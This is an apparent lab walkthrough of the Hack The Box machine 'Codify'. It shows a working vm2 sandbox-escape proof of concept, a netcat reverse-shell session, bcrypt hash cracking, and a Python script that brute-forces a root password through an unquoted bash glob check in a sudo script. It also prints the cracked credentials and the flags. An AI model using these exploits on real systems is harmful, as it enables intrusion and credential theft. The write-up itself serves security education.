Codify
Information
Machine: Codify
Level: Easy
Tags: Linux
, Web
, JavaScript
, Node.js
, Mysql
, RCE
Pwn: Pwned by 0xrh0d4m1n
🚀 Starting
🔭 Reconnaissance
Starting with Nmap
Through the Nmap results, we can see there is a Apache httpd 2.4.52
running on port 80
, also it is possible to identify Node.js Express framework
running at 3000
. Another interesting point it is the fact that it is running the famous 9001
wich is a port used by the project Tor.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-26 07:00 EST
Nmap scan report for codify.htb (10.10.11.239)
Host is up (0.19s latency).
Not shown: 996 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_ 256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Codify
|_http-server-header: Apache/2.4.52 (Ubuntu)
3000/tcp open http Node.js Express framework
|_http-title: Codify
9001/tcp open tor-orport?
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=12/26%OT=22%CT=1%CU=30227%PV=Y%DS=2%DC=T%G=Y%TM=658
OS:AC096%P=x86_64-pc-linux-gnu)SEQ(SP=100%GCD=1%ISR=108%TI=Z%CI=Z%II=I%TS=A
OS:)SEQ(SP=101%GCD=1%ISR=108%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=FF%GCD=1%ISR=107%TI
OS:=Z%CI=Z%II=I%TS=A)OPS(O1=M53CST11NW7%O2=M53CST11NW7%O3=M53CNNT11NW7%O4=M
OS:53CST11NW7%O5=M53CST11NW7%O6=M53CST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE8
OS:8%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M53CNNSNW7%CC=Y%Q=)T1(R=Y%D
OS:F=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=
OS:Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF
OS:=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=
OS:%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G
OS:)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 3306/tcp)
HOP RTT ADDRESS
1 191.69 ms 10.10.14.1
2 197.48 ms codify.htb (10.10.11.239)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 46.09 seconds
Looking through the browser to get a better visualization about the website being served on 80
we get the following screen:
On the About page, we have a brief description about the project. In other words, they described their application as an editor where is possible to "run your JavaScript code directly in the browser" with the purpose of testing or debugging Node.js code. This were possible by the use of a library known as "vm2", which was discontinued. Also, it is possible to identify a link to vm2 library Github repository.
VM2 Sandbox Library Description
In fact, it is running JavaScript (Node.js)
🪲 Vulnerability Scan
The VM2 project was discontinued, I was reading why and I discovered that was due the fact that this is vulnerable to RCE.
Then, I found this PoC exposing the problem:
const {VM} = require("vm2");
const vm = new VM();
const code = `
err = {};
const handler = {
getPrototypeOf(target) {
(function stack() {
new Error().stack;
stack();
})();
}
};
const proxiedErr = new Proxy(err, handler);
try {
throw proxiedErr;
} catch ({constructor: c}) {
c.constructor('return process')().mainModule.require('child_process').execSync('touch pwned');
}
`
console.log(vm.run(code));
Code Analysis
As host exceptions may leak host objects into the sandbox, code is preprocessed with transformer()
in order to instrument the code with handleException()
sanitizer function calls.
For CatchClause
with ObjectPattern
the code calls handleException()
and then re-throws the sanitized exception inside a nested try-catch. (lib/transformer.js:121)
handleException()
function is an alias of thisEnsureThis()
, which in turn calls thisReflectGetPrototypeOf(other)
(again, an alias of Reflect.getPrototypeOf()
) to access the object's prototype (lib/bridge.js:835).
However, this may be proxied through a getPrototypeOf()
proxy handler which can by itself throw an unsanitized host exception, resulting in the outer catch statement receiving it.
An attacker may use any method to raise a non-proxied host exception (test/vm.js:1082 for example) inside a getPrototypeOf()
proxy handler, register it to an object and throw it to leak host exception, and finally use it to access host Function
, escaping the sandbox.
Impact
Remote Code Execution, assuming the attacker has arbitrary code execution primitive inside the context of vm2 sandbox.
Credits: Xion
🎯 Exploit
Confirmed the PoC, it is time to exploit it, let's start searching bash directory
Also checking if we have access to wget
, so we can send stuff to the machine
Preparing a basic Reverse Shell script on Attacker Machine
Serving Reverse Shell script from the Attacker Machine
Running wget
to download the Reverse Shell from the Attacker Machine
Setting Netcat Listener on Attacker Machine
Initial Access
Listening on Netcat
We got an access
nc -lnvp 13337
listening on [any] 13337 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.239] 47986
bash: cannot set terminal process group (1262): Inappropriate ioctl for device
bash: no job control in this shell
svc@codify:~$
Stabilizing Netcat
svc@codify:~$ which bash
which bash
/usr/bin/bash
svc@codify:~$ python3 -c "import pty;pty.spawn('/usr/bin/bash');" && export TERM=xterm
python3 -c "import pty;pty.spawn('/usr/bin/bash');" && export TERM=xterm
svc@codify:~$ ^Z
zsh: suspended nc -lnvp 13337
stty raw -echo; fg
[1] + continued nc -lnvp 13337
svc@codify:~$ test -t 0 && echo "Interactive Shell" || echo "Not Interactive Shell"
Interactive Shell
🏁 Flag Exfiltration
Lateral Movement
User Enumeration
svc@codify:~$ cat /etc/passwd | grep -vE 'nologin'
root:x:0:0:root:/root:/bin/bash
sync:x:4:65534:sync:/bin:/bin/sync
pollinate:x:105:1::/var/cache/pollinate:/bin/false
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
joshua:x:1000:1000:,,,:/home/joshua:/bin/bash
svc:x:1001:1001:,,,:/home/svc:/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false
After spending a good time sniffing through the system to find a vector to Lateral Movement, I found some useful files
svc@codify:~$ find / -name '*.db' -type f 2>/dev/null
/var/cache/man/index.db
/var/cache/man/zh_CN/index.db
/var/cache/man/de/index.db
/var/cache/man/pl/index.db
/var/cache/man/es/index.db
/var/cache/man/uk/index.db
/var/cache/man/ko/index.db
/var/cache/man/sr/index.db
/var/cache/man/fi/index.db
/var/cache/man/fr/index.db
/var/cache/man/da/index.db
/var/cache/man/tr/index.db
/var/cache/man/zh_TW/index.db
/var/cache/man/pt/index.db
/var/cache/man/hu/index.db
/var/cache/man/it/index.db
/var/cache/man/ro/index.db
/var/cache/man/nl/index.db
/var/cache/man/cs/index.db
/var/cache/man/sv/index.db
/var/cache/man/pt_BR/index.db
/var/cache/man/ru/index.db
/var/cache/man/id/index.db
/var/cache/man/ja/index.db
/var/cache/man/sl/index.db
/var/www/contact/tickets.db
/var/lib/plocate/plocate.db
/var/lib/fwupd/pending.db
/var/lib/PackageKit/transactions.db
/var/lib/command-not-found/commands.db
/usr/lib/firmware/regulatory.db
The dir /var/www/contact/
stands out to me, so I verified tickets.db
db file.
svc@codify:~$ file /var/www/contact/tickets.db
/var/www/contact/tickets.db: SQLite 3.x database, last written using SQLite version 3037002, file counter 17, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 17
svc@codify:~$ strings /var/www/contact/tickets.db
SQLite format 3
otableticketstickets
CREATE TABLE tickets (id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT, topic TEXT, description TEXT, status TEXT)P
Ytablesqlite_sequencesqlite_sequence
CREATE TABLE sqlite_sequence(name,seq)
tableusersusers
CREATE TABLE users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT UNIQUE,
password TEXT
))
indexsqlite_autoindex_users_1users
joshua$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2
joshua
users
tickets
Joe WilliamsLocal setup?I use this site lot of the time. Is it possible to set this up locally? Like instead of coming to this site, can I download this and set it up in my own computer? A feature like that would be nice.open
Tom HanksNeed networking modulesI think it would be better if you can implement a way to handle networking-based stuff. Would help me out a lot. Thanks!open
Great progress, a hash with an username joshua
which is in our /etc/passwd
, let's crack it
echo -n '$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2' | tee joshua.hash
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt joshua.hash
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:42 0.01% (ETA: 2024-01-02 14:20) 0g/s 28.99p/s 28.99c/s 28.99C/s franklin..warren
spongebob1 (?)
1g 0:00:00:47 DONE (2023-12-26 16:17) 0.02107g/s 28.83p/s 28.83c/s 28.83C/s crazy1..angel123
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
I didn't want to execute all the road to this point, so, I just created a persistence to avoid problems (Optional)
svc@codify:~$ su joshua
Password:
joshua@codify:/home/svc$ ls -la ~/.ssh/
ls: cannot access '/home/joshua/.ssh/': No such file or directory
joshua@codify:/home/svc$ mkdir ~/.ssh && cd ~/.ssh
joshua@codify:~/.ssh$ vim authorized_keys
User Flag
joshua@codify:~$ ll
total 64
drwxrwx--- 5 joshua joshua 4096 Dec 26 21:20 ./
drwxr-xr-x 4 joshua joshua 4096 Sep 12 17:10 ../
lrwxrwxrwx 1 root root 9 May 30 2023 .bash_history -> /dev/null
-rw-r--r-- 1 joshua joshua 220 Apr 21 2023 .bash_logout
-rw-r--r-- 1 joshua joshua 3771 Apr 21 2023 .bashrc
drwx------ 2 joshua joshua 4096 Sep 14 14:44 .cache/
drwx------ 3 joshua joshua 4096 Dec 26 02:53 .gnupg/
-rw------- 1 joshua joshua 20 Dec 26 03:44 .lesshst
-rw------- 1 joshua joshua 1246 Dec 26 04:08 .mysql_history
-rw-r--r-- 1 joshua joshua 807 Apr 21 2023 .profile
-rw-rw-r-- 1 joshua joshua 3287 Dec 26 04:03 raptor.c
-rw-rw-r-- 1 joshua joshua 5192 Dec 26 04:03 raptor.o
-rwxrwxr-x 1 joshua joshua 41 Dec 26 03:15 read*
drwxrwxr-x 2 joshua joshua 4096 Dec 26 21:22 .ssh/
-rw-r----- 1 root joshua 33 Dec 25 22:13 user.txt
-rw-r--r-- 1 joshua joshua 39 Sep 14 14:45 .vimrc
joshua@codify:~$ cat user.txt
#* * * ALERT * * * * * * * * * * * * * * * *
#* If you really want to see this flag, go *
#* to FLAG CODES at the bottom of the page *
#* * * * * * * * * * * * * * * * * * * * * *
Root Flag
Verifying sudo
Capabilities, we can see a script:
joshua@codify:~$ sudo -l
Matching Defaults entries for joshua on codify:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User joshua may run the following commands on codify:
(root) /opt/scripts/mysql-backup.sh
Printing the /opt/scripts/mysql-backup.sh
script, we have:
1 #!/bin/bash
2 DB_USER="root"
3 DB_PASS=$(/usr/bin/cat /root/.creds)
4 BACKUP_DIR="/var/backups/mysql"
5
6 read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
7 /usr/bin/echo
8
9 if [[ $DB_PASS == $USER_PASS ]]; then
10 /usr/bin/echo "Password confirmed!"
11 else
12 /usr/bin/echo "Password confirmation failed!"
13 exit 1
14 fi
15
16 /usr/bin/mkdir -p "$BACKUP_DIR"
17
18 databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")
19
20 for db in $databases; do
21 /usr/bin/echo "Backing up database: $db"
22 /usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
23 done
24
25 /usr/bin/echo "All databases backed up successfully!"
26 /usr/bin/echo "Changing the permissions"
27 /usr/bin/chown root:sys-adm "$BACKUP_DIR"
28 /usr/bin/chmod 774 -R "$BACKUP_DIR"
29 /usr/bin/echo 'Done!'
Here, the script reads the MySQL password from a file /root/.creds
and stores it in the variable DB_PASS
. Then, it prompts the user to enter a password and stores it in the variable USER_PASS
. The vulnerability lies in the comparison of these two variables on line 9.
The comparison if [[ $DB_PASS == $USER_PASS ]]; then
uses the equality operator ==
without any quoting or protection for the variables. This means that if the password contains special characters or wildcards, they could be interpreted by the shell, leading to unexpected behavior or potentially allowing an attacker to manipulate the comparison.
For example, if the password stored in /root/.creds
contains a wildcard character such as "*", it could match multiple characters when expanded by the shell, leading to an unintended comparison. This could potentially allow an attacker to bypass the password check. Here is a PoC:
import string
import subprocess
all_characters = string.ascii_letters + string.digits
db_password = ""
while True:
next_char = next(
(
char
for char in all_characters
if subprocess.run(
f"echo '{db_password}{char}*' | sudo /opt/scripts/mysql-backup.sh",
shell=True,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True,
).stdout.count("Password confirmed!")
),
None,
)
if next_char is None:
break
db_password += next_char
print(f"[*] Cracking Password:{db_password}")
print("=" * 50)
print(f"[+] The Final Database Password is:{db_password}")
print("=" * 50)
Executing the PoC
joshua@codify:~$ python3 PoC.py
[*] Cracking Password:k
[*] Cracking Password:kl
[*] Cracking Password:klj
[*] Cracking Password:kljh
[*] Cracking Password:kljh1
[*] Cracking Password:kljh12
[*] Cracking Password:kljh12k
[*] Cracking Password:kljh12k3
[*] Cracking Password:kljh12k3j
[*] Cracking Password:kljh12k3jh
[*] Cracking Password:kljh12k3jha
[*] Cracking Password:kljh12k3jhas
[*] Cracking Password:kljh12k3jhask
[*] Cracking Password:kljh12k3jhaskj
[*] Cracking Password:kljh12k3jhaskjh
[*] Cracking Password:kljh12k3jhaskjh1
[*] Cracking Password:kljh12k3jhaskjh12
[*] Cracking Password:kljh12k3jhaskjh12k
[*] Cracking Password:kljh12k3jhaskjh12kj
[*] Cracking Password:kljh12k3jhaskjh12kjh
[*] Cracking Password:kljh12k3jhaskjh12kjh3
==================================================
[+] The Final Database Password is:kljh12k3jhaskjh12kjh3
==================================================
Switching to Root
joshua@codify:~$ su root
Password:
root@codify:/home/joshua# ll /root
total 40
drwx------ 5 root root 4096 Dec 25 22:13 ./
drwxr-xr-x 18 root root 4096 Oct 31 07:57 ../
lrwxrwxrwx 1 root root 9 Sep 14 03:26 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Oct 15 2021 .bashrc
-rw-r--r-- 1 root root 22 May 8 2023 .creds
drwxr-xr-x 3 root root 4096 Sep 26 09:35 .local/
lrwxrwxrwx 1 root root 9 Sep 14 03:34 .mysql_history -> /dev/null
-rw-r--r-- 1 root root 161 Jul 9 2019 .profile
-rw-r----- 1 root root 33 Dec 25 22:13 root.txt
drwxr-xr-x 4 root root 4096 Sep 12 16:56 scripts/
drwx------ 2 root root 4096 Sep 14 03:31 .ssh/
-rw-r--r-- 1 root root 39 Sep 14 03:26 .vimrc
root@codify:/home/joshua# cat /root/root.txt
#* * * ALERT * * * * * * * * * * * * * * * *
#* If you really want to see this flag, go *
#* to FLAG CODES at the bottom of the page *
#* * * * * * * * * * * * * * * * * * * * * *
Flag Codes
Reveal Flags 🏁
User Flag
70fa07ee81ea506528dfaf1c14147f2b
Root Flag
45369447a9913630cfe14f4e2dd7495d